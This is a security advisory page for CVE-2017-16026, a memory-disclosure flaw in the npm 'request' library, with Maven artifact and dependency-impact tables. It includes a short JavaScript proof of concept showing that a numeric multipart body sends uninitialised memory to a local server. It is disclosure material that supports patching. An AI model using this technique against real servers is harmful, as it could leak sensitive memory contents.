MODERATE 5.9

CVE-2017-16026

Remote Memory Exposure in request

Description

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Affected Maven artifacts (3)

ArtifactAffected versionsFixed in
org.mvnpm » requestvia npm request
>= 2.2.6, < 2.68.0>= 2.49.0, < 2.68.0
2.68.0
org.webjars » requestvia npm request
>= 2.2.6, < 2.68.0>= 2.49.0, < 2.68.0
2.68.0
org.webjars.npm » requestvia npm request
>= 2.2.6, < 2.68.0>= 2.49.0, < 2.68.0
2.68.0

Blast radius

3affected artifacts
14affected versions
20dependent artifacts (est.)
32dependent versions

80% of the dependent artifacts (16) still pull an affected version in their latest release.

DepthDependent versions
Direct
16
2 hops
2
3 hops
4
4 hops
8
5 hops
2

Most used dependents

Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.

Other ecosystems

Also affects npm (1 package) . See all on OSV